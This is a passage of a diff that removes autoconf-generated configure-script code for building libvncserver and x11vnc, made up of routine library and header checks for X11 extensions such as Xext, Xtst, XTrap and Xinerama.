-$as_echo_n "checking for gethostbyname in -lbsd... " >&6; }
-if ${ac_cv_lib_bsd_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lbsd $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_bsd_gethostbyname=yes
-else
- ac_cv_lib_bsd_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_bsd_gethostbyname" >&5
-$as_echo "$ac_cv_lib_bsd_gethostbyname" >&6; }
-if test "x$ac_cv_lib_bsd_gethostbyname" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lbsd"
-fi
-
- fi
- fi
-
- # lieder@skyler.mavd.honeywell.com says without -lsocket,
- # socket/setsockopt and other routines are undefined under SCO ODT
- # 2.0. But -lsocket is broken on IRIX 5.2 (and is not necessary
- # on later versions), says Simon Leinen: it contains gethostby*
- # variants that don't use the name server (or something). -lsocket
- # must be given before -lnsl if both are needed. We assume that
- # if connect needs -lnsl, so does gethostbyname.
- ac_fn_c_check_func "$LINENO" "connect" "ac_cv_func_connect"
-if test "x$ac_cv_func_connect" = xyes; then :
-
-fi
-
- if test $ac_cv_func_connect = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for connect in -lsocket" >&5
-$as_echo_n "checking for connect in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_connect+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char connect ();
-int
-main ()
-{
-return connect ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_connect=yes
-else
- ac_cv_lib_socket_connect=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_connect" >&5
-$as_echo "$ac_cv_lib_socket_connect" >&6; }
-if test "x$ac_cv_lib_socket_connect" = xyes; then :
- X_EXTRA_LIBS="-lsocket $X_EXTRA_LIBS"
-fi
-
- fi
-
- # Guillermo Gomez says -lposix is necessary on A/UX.
- ac_fn_c_check_func "$LINENO" "remove" "ac_cv_func_remove"
-if test "x$ac_cv_func_remove" = xyes; then :
-
-fi
-
- if test $ac_cv_func_remove = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for remove in -lposix" >&5
-$as_echo_n "checking for remove in -lposix... " >&6; }
-if ${ac_cv_lib_posix_remove+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lposix $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char remove ();
-int
-main ()
-{
-return remove ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_posix_remove=yes
-else
- ac_cv_lib_posix_remove=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_posix_remove" >&5
-$as_echo "$ac_cv_lib_posix_remove" >&6; }
-if test "x$ac_cv_lib_posix_remove" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lposix"
-fi
-
- fi
-
- # BSDI BSD/OS 2.1 needs -lipc for XOpenDisplay.
- ac_fn_c_check_func "$LINENO" "shmat" "ac_cv_func_shmat"
-if test "x$ac_cv_func_shmat" = xyes; then :
-
-fi
-
- if test $ac_cv_func_shmat = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shmat in -lipc" >&5
-$as_echo_n "checking for shmat in -lipc... " >&6; }
-if ${ac_cv_lib_ipc_shmat+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lipc $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shmat ();
-int
-main ()
-{
-return shmat ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ipc_shmat=yes
-else
- ac_cv_lib_ipc_shmat=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ipc_shmat" >&5
-$as_echo "$ac_cv_lib_ipc_shmat" >&6; }
-if test "x$ac_cv_lib_ipc_shmat" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lipc"
-fi
-
- fi
- fi
-
- # Check for libraries that X11R6 Xt/Xaw programs need.
- ac_save_LDFLAGS=$LDFLAGS
- test -n "$x_libraries" && LDFLAGS="$LDFLAGS -L$x_libraries"
- # SM needs ICE to (dynamically) link under SunOS 4.x (so we have to
- # check for ICE first), but we must link in the order -lSM -lICE or
- # we get undefined symbols. So assume we have SM if we have ICE.
- # These have to be linked with before -lX11, unlike the other
- # libraries we check for below, so use a different variable.
- # John Interrante, Karl Berry
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for IceConnectionNumber in -lICE" >&5
-$as_echo_n "checking for IceConnectionNumber in -lICE... " >&6; }
-if ${ac_cv_lib_ICE_IceConnectionNumber+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lICE $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char IceConnectionNumber ();
-int
-main ()
-{
-return IceConnectionNumber ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ICE_IceConnectionNumber=yes
-else
- ac_cv_lib_ICE_IceConnectionNumber=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ICE_IceConnectionNumber" >&5
-$as_echo "$ac_cv_lib_ICE_IceConnectionNumber" >&6; }
-if test "x$ac_cv_lib_ICE_IceConnectionNumber" = xyes; then :
- X_PRE_LIBS="$X_PRE_LIBS -lSM -lICE"
-fi
-
- LDFLAGS=$ac_save_LDFLAGS
-
-fi
-
-
-
-# See if we are to build x11vnc:
-
-
-# Check whether --with-system-libvncserver was given.
-if test "${with_system_libvncserver+set}" = set; then :
- withval=$with_system_libvncserver;
-fi
-
-
-# Check whether --with-x11vnc was given.
-if test "${with_x11vnc+set}" = set; then :
- withval=$with_x11vnc;
-fi
-
-
-if test ! -z "$with_x11vnc" -a "$with_x11vnc" = "yes"; then
- build_x11vnc="yes"
-elif test "$PACKAGE_NAME" = "x11vnc"; then
- build_x11vnc="yes"
-else
- build_x11vnc="no"
-fi
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-# Check whether --with-xkeyboard was given.
-if test "${with_xkeyboard+set}" = set; then :
- withval=$with_xkeyboard;
-fi
-
-
-# Check whether --with-xinerama was given.
-if test "${with_xinerama+set}" = set; then :
- withval=$with_xinerama;
-fi
-
-
-# Check whether --with-xrandr was given.
-if test "${with_xrandr+set}" = set; then :
- withval=$with_xrandr;
-fi
-
-
-# Check whether --with-xfixes was given.
-if test "${with_xfixes+set}" = set; then :
- withval=$with_xfixes;
-fi
-
-
-# Check whether --with-xdamage was given.
-if test "${with_xdamage+set}" = set; then :
- withval=$with_xdamage;
-fi
-
-
-# Check whether --with-xtrap was given.
-if test "${with_xtrap+set}" = set; then :
- withval=$with_xtrap;
-fi
-
-
-# Check whether --with-xrecord was given.
-if test "${with_xrecord+set}" = set; then :
- withval=$with_xrecord;
-fi
-
-
-# Check whether --with-fbpm was given.
-if test "${with_fbpm+set}" = set; then :
- withval=$with_fbpm;
-fi
-
-
-# Check whether --with-dpms was given.
-if test "${with_dpms+set}" = set; then :
- withval=$with_dpms;
-fi
-
-
-# Check whether --with-v4l was given.
-if test "${with_v4l+set}" = set; then :
- withval=$with_v4l;
-fi
-
-
-# Check whether --with-fbdev was given.
-if test "${with_fbdev+set}" = set; then :
- withval=$with_fbdev;
-fi
-
-
-# Check whether --with-uinput was given.
-if test "${with_uinput+set}" = set; then :
- withval=$with_uinput;
-fi
-
-
-# Check whether --with-macosx-native was given.
-if test "${with_macosx_native+set}" = set; then :
- withval=$with_macosx_native;
-fi
-
-
-fi
-# end x11vnc only.
-
-if test "x$with_x" = "xno"; then
- HAVE_X11="false"
-elif test "$X_CFLAGS" != "-DX_DISPLAY_MISSING"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XGetImage in -lX11" >&5
-$as_echo_n "checking for XGetImage in -lX11... " >&6; }
-if ${ac_cv_lib_X11_XGetImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lX11 $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XGetImage ();
-int
-main ()
-{
-return XGetImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_X11_XGetImage=yes
-else
- ac_cv_lib_X11_XGetImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_X11_XGetImage" >&5
-$as_echo "$ac_cv_lib_X11_XGetImage" >&6; }
-if test "x$ac_cv_lib_X11_XGetImage" = xyes; then :
- $as_echo "#define HAVE_X11 1" >>confdefs.h
- HAVE_X11="true"
-else
- HAVE_X11="false"
-fi
-
-
- # x11vnc only:
- if test $HAVE_X11 = "true" -a "$build_x11vnc" = "yes"; then
- X_PRELIBS="$X_PRELIBS -lXext"
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XShmGetImage in -lXext" >&5
-$as_echo_n "checking for XShmGetImage in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_XShmGetImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XShmGetImage ();
-int
-main ()
-{
-return XShmGetImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_XShmGetImage=yes
-else
- ac_cv_lib_Xext_XShmGetImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_XShmGetImage" >&5
-$as_echo "$ac_cv_lib_Xext_XShmGetImage" >&6; }
-if test "x$ac_cv_lib_Xext_XShmGetImage" = xyes; then :
- $as_echo "#define HAVE_XSHM 1" >>confdefs.h
-
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XReadScreen in -lXext" >&5
-$as_echo_n "checking for XReadScreen in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_XReadScreen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XReadScreen ();
-int
-main ()
-{
-return XReadScreen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_XReadScreen=yes
-else
- ac_cv_lib_Xext_XReadScreen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_XReadScreen" >&5
-$as_echo "$ac_cv_lib_Xext_XReadScreen" >&6; }
-if test "x$ac_cv_lib_Xext_XReadScreen" = xyes; then :
- $as_echo "#define HAVE_SOLARIS_XREADSCREEN 1" >>confdefs.h
-
-fi
-
-
- ac_fn_c_check_header_compile "$LINENO" "X11/extensions/readdisplay.h" "ac_cv_header_X11_extensions_readdisplay_h" "#include <X11/Xlib.h>
-"
-if test "x$ac_cv_header_X11_extensions_readdisplay_h" = xyes; then :
- $as_echo "#define HAVE_IRIX_XREADDISPLAY 1" >>confdefs.h
-
-fi
-
-
-
- if test "x$with_fbpm" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for FBPMForceLevel in -lXext" >&5
-$as_echo_n "checking for FBPMForceLevel in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_FBPMForceLevel+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char FBPMForceLevel ();
-int
-main ()
-{
-return FBPMForceLevel ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_FBPMForceLevel=yes
-else
- ac_cv_lib_Xext_FBPMForceLevel=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_FBPMForceLevel" >&5
-$as_echo "$ac_cv_lib_Xext_FBPMForceLevel" >&6; }
-if test "x$ac_cv_lib_Xext_FBPMForceLevel" = xyes; then :
- $as_echo "#define HAVE_FBPM 1" >>confdefs.h
-
-fi
-
- fi
-
- if test "x$with_dpms" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for DPMSForceLevel in -lXext" >&5
-$as_echo_n "checking for DPMSForceLevel in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_DPMSForceLevel+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char DPMSForceLevel ();
-int
-main ()
-{
-return DPMSForceLevel ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_DPMSForceLevel=yes
-else
- ac_cv_lib_Xext_DPMSForceLevel=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_DPMSForceLevel" >&5
-$as_echo "$ac_cv_lib_Xext_DPMSForceLevel" >&6; }
-if test "x$ac_cv_lib_Xext_DPMSForceLevel" = xyes; then :
- $as_echo "#define HAVE_DPMS 1" >>confdefs.h
-
-fi
-
- fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XTestGrabControl in -lXtst" >&5
-$as_echo_n "checking for XTestGrabControl in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XTestGrabControl+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XTestGrabControl ();
-int
-main ()
-{
-return XTestGrabControl ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XTestGrabControl=yes
-else
- ac_cv_lib_Xtst_XTestGrabControl=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XTestGrabControl" >&5
-$as_echo "$ac_cv_lib_Xtst_XTestGrabControl" >&6; }
-if test "x$ac_cv_lib_Xtst_XTestGrabControl" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "#define HAVE_XTESTGRABCONTROL 1" >>confdefs.h
- HAVE_XTESTGRABCONTROL="true"
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XTestFakeKeyEvent in -lXtst" >&5
-$as_echo_n "checking for XTestFakeKeyEvent in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XTestFakeKeyEvent+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XTestFakeKeyEvent ();
-int
-main ()
-{
-return XTestFakeKeyEvent ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XTestFakeKeyEvent=yes
-else
- ac_cv_lib_Xtst_XTestFakeKeyEvent=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XTestFakeKeyEvent" >&5
-$as_echo "$ac_cv_lib_Xtst_XTestFakeKeyEvent" >&6; }
-if test "x$ac_cv_lib_Xtst_XTestFakeKeyEvent" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "#define HAVE_XTEST 1" >>confdefs.h
- HAVE_XTEST="true"
-fi
-
-
- if test "x$with_xrecord" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XRecordEnableContextAsync in -lXtst" >&5
-$as_echo_n "checking for XRecordEnableContextAsync in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XRecordEnableContextAsync+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XRecordEnableContextAsync ();
-int
-main ()
-{
-return XRecordEnableContextAsync ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XRecordEnableContextAsync=yes
-else
- ac_cv_lib_Xtst_XRecordEnableContextAsync=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XRecordEnableContextAsync" >&5
-$as_echo "$ac_cv_lib_Xtst_XRecordEnableContextAsync" >&6; }
-if test "x$ac_cv_lib_Xtst_XRecordEnableContextAsync" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "#define HAVE_RECORD 1" >>confdefs.h
-
-fi
-
- fi
-
- # we use XTRAP on X11R5, or user can set X11VNC_USE_XTRAP
- if test "x$with_xtrap" != "xno"; then
- if test ! -z "$X11VNC_USE_XTRAP" -o -z "$HAVE_XTESTGRABCONTROL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XETrapSetGrabServer in -lXTrap" >&5
-$as_echo_n "checking for XETrapSetGrabServer in -lXTrap... " >&6; }
-if ${ac_cv_lib_XTrap_XETrapSetGrabServer+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXTrap $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XETrapSetGrabServer ();
-int
-main ()
-{
-return XETrapSetGrabServer ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_XTrap_XETrapSetGrabServer=yes
-else
- ac_cv_lib_XTrap_XETrapSetGrabServer=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_XTrap_XETrapSetGrabServer" >&5
-$as_echo "$ac_cv_lib_XTrap_XETrapSetGrabServer" >&6; }
-if test "x$ac_cv_lib_XTrap_XETrapSetGrabServer" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXTrap"
- $as_echo "#define HAVE_LIBXTRAP 1" >>confdefs.h
-
-fi
-
- # tru64 uses libXETrap.so
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XETrapSetGrabServer in -lXETrap" >&5
-$as_echo_n "checking for XETrapSetGrabServer in -lXETrap... " >&6; }
-if ${ac_cv_lib_XETrap_XETrapSetGrabServer+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXETrap $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XETrapSetGrabServer ();
-int
-main ()
-{
-return XETrapSetGrabServer ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_XETrap_XETrapSetGrabServer=yes
-else
- ac_cv_lib_XETrap_XETrapSetGrabServer=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_XETrap_XETrapSetGrabServer" >&5
-$as_echo "$ac_cv_lib_XETrap_XETrapSetGrabServer" >&6; }
-if test "x$ac_cv_lib_XETrap_XETrapSetGrabServer" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXETrap"
- $as_echo "#define HAVE_LIBXTRAP 1" >>confdefs.h
-
-fi
-
- fi
- fi
-
- if test "x$with_xkeyboard" != "xno"; then
- saved_CPPFLAGS="$CPPFLAGS"
- CPPFLAGS="$CPPFLAGS $X_CFLAGS"
- ac_fn_c_check_header_compile "$LINENO" "X11/XKBlib.h" "ac_cv_header_X11_XKBlib_h" "#include <X11/Xlib.h>
-"
-if test "x$ac_cv_header_X11_XKBlib_h" = xyes; then :
- HAVE_XKBLIB_H="true"
-else
- HAVE_XKBLIB_H="false"
-fi
-
-
- CPPFLAGS="$saved_CPPFLAGS"
- if test $HAVE_XKBLIB_H = "true"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XkbSelectEvents in -lX11" >&5
-$as_echo_n "checking for XkbSelectEvents in -lX11... " >&6; }
-if ${ac_cv_lib_X11_XkbSelectEvents+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lX11 $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XkbSelectEvents ();
-int
-main ()
-{
-return XkbSelectEvents ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_X11_XkbSelectEvents=yes
-else
- ac_cv_lib_X11_XkbSelectEvents=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_X11_XkbSelectEvents" >&5
-$as_echo "$ac_cv_lib_X11_XkbSelectEvents" >&6; }
-if test "x$ac_cv_lib_X11_XkbSelectEvents" = xyes; then :
- $as_echo "#define HAVE_XKEYBOARD 1" >>confdefs.h
-
-fi
-
- fi
- fi
-
- if test "x$with_xinerama" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XineramaQueryScreens in -lXinerama" >&5
-$as_echo_n "checking for XineramaQueryScreens in -lXinerama... " >&6; }
-if ${ac_cv_lib_Xinerama_XineramaQueryScreens+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXinerama $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XineramaQueryScreens ();
-int
-main ()
-{
-return XineramaQueryScreens ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xinerama_XineramaQueryScreens=yes
-else
- ac_cv_lib_Xinerama_XineramaQueryScreens=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xinerama_XineramaQueryScreens" >&5
-$as_echo "$ac_cv_lib_Xinerama_XineramaQueryScreens" >&6; }
-if test "x$ac_cv_lib_Xinerama_XineramaQueryScreens" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXinerama"
- $as_echo "#define HAVE_LIBXINERAMA 1" >>confdefs.h
-
-fi
-
- fi
-
- if test "x$with_xrandr" != "xno"; then
